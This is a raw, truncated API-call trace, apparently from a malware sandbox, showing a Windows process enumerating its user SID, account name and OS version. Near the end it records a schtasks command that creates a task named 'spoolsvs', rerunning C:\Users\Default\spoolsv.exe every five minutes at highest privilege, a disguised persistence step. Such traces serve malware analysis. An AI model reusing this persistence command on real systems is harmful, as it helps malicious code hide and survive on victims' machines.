returned 0x2b8650 [0160.139] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0160.139] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0160.139] malloc (_Size=0x18) returned 0x2af1a0 [0160.139] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0160.139] malloc (_Size=0x18) returned 0x2af180 [0160.139] malloc (_Size=0x18) returned 0x2af280 [0160.139] SysStringLen (param_1="S-1-") returned 0x4 [0160.139] SysStringLen (param_1="5") returned 0x1 [0160.139] memcpy (in: _Dst=0x1423c8, _Src=0x142518, _Size=0xa | out: _Dst=0x1423c8) returned 0x1423c8 [0160.139] memcpy (in: _Dst=0x1423d0, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d0) returned 0x1423d0 [0160.139] free (_Block=0x2af1a0) [0160.139] free (_Block=0x2af180) [0160.139] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0160.140] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0160.140] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0160.140] malloc (_Size=0x18) returned 0x2af180 [0160.140] malloc (_Size=0x18) returned 0x2af1a0 [0160.140] SysStringLen (param_1="S-1-5") returned 0x5 [0160.140] SysStringLen (param_1="-") returned 0x1 [0160.140] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xc | out: _Dst=0x142578) returned 0x142578 [0160.140] memcpy (in: _Dst=0x142582, _Src=0x142518, _Size=0x4 | out: _Dst=0x142582) returned 0x142582 [0160.140] free (_Block=0x2af280) [0160.140] free (_Block=0x2af180) [0160.140] malloc (_Size=0x18) returned 0x2af180 [0160.140] malloc (_Size=0x18) returned 0x2af280 [0160.140] SysStringLen (param_1="S-1-5-") returned 0x6 [0160.140] SysStringLen (param_1="21") returned 0x2 [0160.140] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xe | out: _Dst=0x142518) returned 0x142518 [0160.140] memcpy (in: _Dst=0x142524, _Src=0x1423c8, _Size=0x6 | out: _Dst=0x142524) returned 0x142524 [0160.140] free (_Block=0x2af1a0) [0160.141] free (_Block=0x2af180) [0160.141] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0160.141] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0160.141] malloc (_Size=0x18) returned 0x2af180 [0160.141] malloc (_Size=0x18) returned 0x2af1a0 [0160.141] SysStringLen (param_1="S-1-5-21") returned 0x8 [0160.141] SysStringLen (param_1="-") returned 0x1 [0160.141] memcpy (in: _Dst=0x1423c8, _Src=0x142518, _Size=0x12 | out: _Dst=0x1423c8) returned 0x1423c8 [0160.141] memcpy (in: _Dst=0x1423d8, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d8) returned 0x1423d8 [0160.141] free (_Block=0x2af280) [0160.141] free (_Block=0x2af180) [0160.141] malloc (_Size=0x18) returned 0x2af180 [0160.141] malloc (_Size=0x18) returned 0x2af280 [0160.141] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0160.141] SysStringLen (param_1="4219442223") returned 0xa [0160.141] memcpy (in: _Dst=0x117ea8, _Src=0x1423c8, _Size=0x14 | out: _Dst=0x117ea8) returned 0x117ea8 [0160.141] memcpy (in: _Dst=0x117eba, _Src=0x142518, _Size=0x16 | out: _Dst=0x117eba) returned 0x117eba [0160.141] free (_Block=0x2af1a0) [0160.142] free (_Block=0x2af180) [0160.142] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0160.142] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0160.142] malloc (_Size=0x18) returned 0x2af180 [0160.142] malloc (_Size=0x18) returned 0x2af1a0 [0160.142] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0160.142] SysStringLen (param_1="-") returned 0x1 [0160.142] memcpy (in: _Dst=0x117ef8, _Src=0x117ea8, _Size=0x28 | out: _Dst=0x117ef8) returned 0x117ef8 [0160.142] memcpy (in: _Dst=0x117f1e, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x117f1e) returned 0x117f1e [0160.142] free (_Block=0x2af280) [0160.142] free (_Block=0x2af180) [0160.142] malloc (_Size=0x18) returned 0x2af180 [0160.142] malloc (_Size=0x18) returned 0x2af280 [0160.143] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0160.143] SysStringLen (param_1="4223814209") returned 0xa [0160.143] memcpy (in: _Dst=0x107588, _Src=0x117ef8, _Size=0x2a | out: _Dst=0x107588) returned 0x107588 [0160.143] memcpy (in: _Dst=0x1075b0, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x1075b0) returned 0x1075b0 [0160.143] free (_Block=0x2af1a0) [0160.143] free (_Block=0x2af180) [0160.143] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0160.143] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0160.143] malloc (_Size=0x18) returned 0x2af180 [0160.143] malloc (_Size=0x18) returned 0x2af1a0 [0160.143] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0160.143] SysStringLen (param_1="-") returned 0x1 [0160.143] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0160.143] memcpy (in: _Dst=0x12dc84, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0160.143] free (_Block=0x2af280) [0160.143] free (_Block=0x2af180) [0160.143] malloc (_Size=0x18) returned 0x2af180 [0160.143] malloc (_Size=0x18) returned 0x2af280 [0160.143] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0160.144] SysStringLen (param_1="3835049652") returned 0xa [0160.144] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107588) returned 0x107588 [0160.144] memcpy (in: _Dst=0x1075c6, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x1075c6) returned 0x1075c6 [0160.144] free (_Block=0x2af1a0) [0160.144] free (_Block=0x2af180) [0160.144] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0160.144] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0160.144] malloc (_Size=0x18) returned 0x2af180 [0160.144] malloc (_Size=0x18) returned 0x2af1a0 [0160.144] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0160.144] SysStringLen (param_1="-") returned 0x1 [0160.144] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0160.144] memcpy (in: _Dst=0x12dc9a, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0160.144] free (_Block=0x2af280) [0160.144] free (_Block=0x2af180) [0160.144] malloc (_Size=0x18) returned 0x2af180 [0160.144] malloc (_Size=0x18) returned 0x2af280 [0160.144] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0160.144] SysStringLen (param_1="1000") returned 0x4 [0160.144] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0160.144] memcpy (in: _Dst=0x1075dc, _Src=0x1423c8, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0160.145] free (_Block=0x2af1a0) [0160.145] free (_Block=0x2af180) [0160.145] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0160.145] malloc (_Size=0x5e) returned 0x2b0ad0 [0160.145] free (_Block=0x2af280) [0160.145] malloc (_Size=0x18) returned 0x2af280 [0160.145] free (_Block=0x2b0ad0) [0160.145] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0160.147] GetLastError () returned 0x7a [0160.147] malloc (_Size=0x14) returned 0x2af180 [0160.147] malloc (_Size=0x16) returned 0x2af1a0 [0160.147] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca84, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0160.147] malloc (_Size=0x18) returned 0x2af260 [0160.147] malloc (_Size=0x18) returned 0x2af240 [0160.147] free (_Block=0x2af180) [0160.147] free (_Block=0x2af1a0) [0160.147] free (_Block=0x2b8650) [0160.148] free (_Block=0x2af240) [0160.148] free (_Block=0x2af260) [0160.148] free (_Block=0x2af280) [0160.148] free (_Block=0x2b8b10) [0160.148] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0160.148] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0160.148] GetLastError () returned 0x7a [0160.149] malloc (_Size=0x2c) returned 0x2b8b50 [0160.149] GetTokenInformation (in: TokenHandle=0x248, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0160.149] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0160.149] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0160.149] malloc (_Size=0x1c) returned 0x2b8650 [0160.149] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0160.149] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0160.149] malloc (_Size=0x18) returned 0x2af280 [0160.149] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0160.149] malloc (_Size=0x18) returned 0x2af260 [0160.149] malloc (_Size=0x18) returned 0x2af240 [0160.149] SysStringLen (param_1="S-1-") returned 0x4 [0160.149] SysStringLen (param_1="5") returned 0x1 [0160.149] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xa | out: _Dst=0x142518) returned 0x142518 [0160.149] memcpy (in: _Dst=0x142520, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142520) returned 0x142520 [0160.149] free (_Block=0x2af280) [0160.149] free (_Block=0x2af260) [0160.149] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0160.149] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0160.150] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0160.150] malloc (_Size=0x18) returned 0x2af260 [0160.150] malloc (_Size=0x18) returned 0x2af280 [0160.150] SysStringLen (param_1="S-1-5") returned 0x5 [0160.150] SysStringLen (param_1="-") returned 0x1 [0160.150] memcpy (in: _Dst=0x1423c8, _Src=0x142518, _Size=0xc | out: _Dst=0x1423c8) returned 0x1423c8 [0160.150] memcpy (in: _Dst=0x1423d2, _Src=0x142578, _Size=0x4 | out: _Dst=0x1423d2) returned 0x1423d2 [0160.150] free (_Block=0x2af240) [0160.150] free (_Block=0x2af260) [0160.150] malloc (_Size=0x18) returned 0x2af260 [0160.150] malloc (_Size=0x18) returned 0x2af240 [0160.150] SysStringLen (param_1="S-1-5-") returned 0x6 [0160.150] SysStringLen (param_1="21") returned 0x2 [0160.150] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xe | out: _Dst=0x142578) returned 0x142578 [0160.150] memcpy (in: _Dst=0x142584, _Src=0x142518, _Size=0x6 | out: _Dst=0x142584) returned 0x142584 [0160.150] free (_Block=0x2af280) [0160.150] free (_Block=0x2af260) [0160.150] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0160.150] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0160.150] malloc (_Size=0x18) returned 0x2af260 [0160.151] malloc (_Size=0x18) returned 0x2af280 [0160.151] SysStringLen (param_1="S-1-5-21") returned 0x8 [0160.151] SysStringLen (param_1="-") returned 0x1 [0160.151] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0x12 | out: _Dst=0x142518) returned 0x142518 [0160.151] memcpy (in: _Dst=0x142528, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142528) returned 0x142528 [0160.151] free (_Block=0x2af240) [0160.151] free (_Block=0x2af260) [0160.151] malloc (_Size=0x18) returned 0x2af260 [0160.151] malloc (_Size=0x18) returned 0x2af240 [0160.151] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0160.151] SysStringLen (param_1="4219442223") returned 0xa [0160.151] memcpy (in: _Dst=0x117ea8, _Src=0x142518, _Size=0x14 | out: _Dst=0x117ea8) returned 0x117ea8 [0160.151] memcpy (in: _Dst=0x117eba, _Src=0x142578, _Size=0x16 | out: _Dst=0x117eba) returned 0x117eba [0160.151] free (_Block=0x2af280) [0160.151] free (_Block=0x2af260) [0160.151] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0160.151] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0160.151] malloc (_Size=0x18) returned 0x2af260 [0160.151] malloc (_Size=0x18) returned 0x2af280 [0160.151] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0160.152] SysStringLen (param_1="-") returned 0x1 [0160.152] memcpy (in: _Dst=0x117ef8, _Src=0x117ea8, _Size=0x28 | out: _Dst=0x117ef8) returned 0x117ef8 [0160.152] memcpy (in: _Dst=0x117f1e, _Src=0x142518, _Size=0x4 | out: _Dst=0x117f1e) returned 0x117f1e [0160.152] free (_Block=0x2af240) [0160.152] free (_Block=0x2af260) [0160.152] malloc (_Size=0x18) returned 0x2af260 [0160.152] malloc (_Size=0x18) returned 0x2af240 [0160.152] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0160.152] SysStringLen (param_1="4223814209") returned 0xa [0160.152] memcpy (in: _Dst=0x12dc48, _Src=0x117ef8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0160.152] memcpy (in: _Dst=0x12dc70, _Src=0x142518, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0160.152] free (_Block=0x2af280) [0160.152] free (_Block=0x2af260) [0160.152] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0160.152] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0160.152] malloc (_Size=0x18) returned 0x2af260 [0160.152] malloc (_Size=0x18) returned 0x2af280 [0160.152] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0160.152] SysStringLen (param_1="-") returned 0x1 [0160.153] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0160.153] memcpy (in: _Dst=0x1075c4, _Src=0x142518, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0160.153] free (_Block=0x2af240) [0160.153] free (_Block=0x2af260) [0160.153] malloc (_Size=0x18) returned 0x2af260 [0160.153] malloc (_Size=0x18) returned 0x2af240 [0160.153] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0160.153] SysStringLen (param_1="3835049652") returned 0xa [0160.153] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0160.153] memcpy (in: _Dst=0x12dc86, _Src=0x142518, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0160.153] free (_Block=0x2af280) [0160.153] free (_Block=0x2af260) [0160.153] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0160.153] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0160.153] malloc (_Size=0x18) returned 0x2af260 [0160.153] malloc (_Size=0x18) returned 0x2af280 [0160.153] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0160.153] SysStringLen (param_1="-") returned 0x1 [0160.153] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0160.154] memcpy (in: _Dst=0x1075da, _Src=0x142518, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0160.154] free (_Block=0x2af240) [0160.154] free (_Block=0x2af260) [0160.154] malloc (_Size=0x18) returned 0x2af260 [0160.154] malloc (_Size=0x18) returned 0x2af240 [0160.154] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0160.154] SysStringLen (param_1="1000") returned 0x4 [0160.154] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0160.154] memcpy (in: _Dst=0x12dc9c, _Src=0x142518, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0160.154] free (_Block=0x2af280) [0160.154] free (_Block=0x2af260) [0160.154] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0160.154] malloc (_Size=0x5e) returned 0x2b0ad0 [0160.154] free (_Block=0x2af240) [0160.154] malloc (_Size=0x18) returned 0x2af240 [0160.155] free (_Block=0x2b0ad0) [0160.155] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0160.156] GetLastError () returned 0x7a [0160.156] malloc (_Size=0x14) returned 0x2af260 [0160.156] malloc (_Size=0x16) returned 0x2af280 [0160.156] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca94, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0160.156] malloc (_Size=0x18) returned 0x2af1a0 [0160.156] malloc (_Size=0x18) returned 0x2af180 [0160.156] free (_Block=0x2af260) [0160.156] free (_Block=0x2af280) [0160.157] free (_Block=0x2b8650) [0160.157] free (_Block=0x2af180) [0160.157] free (_Block=0x2af1a0) [0160.157] free (_Block=0x2af240) [0160.157] free (_Block=0x2b8b50) [0160.158] malloc (_Size=0x48) returned 0x2ad6d0 [0160.158] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0160.162] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0160.162] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0160.163] malloc (_Size=0x18) returned 0x2af240 [0160.163] CreateEnvironmentBlock () returned 0x1 [0160.193] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0160.193] malloc (_Size=0x18) returned 0x2af1a0 [0160.193] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 5 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 5 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0x8fc, dwThreadId=0x900)) returned 1 [0160.200] CloseHandle (hObject=0x300) returned 1 [0160.200] CloseHandle (hObject=0x2fc) returned 1 [0160.201] free (_Block=0x2af1a0) [0160.201] DestroyEnvironmentBlock () returned 0x1 [0160.201] malloc (_Size=0x48) returned 0x2ad680 [0160.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2bb18360, dwHighDateTime=0x1d8a92a)) [0160.201] SetEvent (hEvent=0x1f0) returned 1 [0160.201] CloseHandle (hObject=0x248) returned 1 [0160.201] CloseHandle (hObject=0x234) returned 1 [0160.314] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0160.314] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0160.314] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0161.006] SetLastError (dwErrCode=0x0) [0161.006] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0161.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0161.006] SetLastError (dwErrCode=0x0) [0161.006] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, 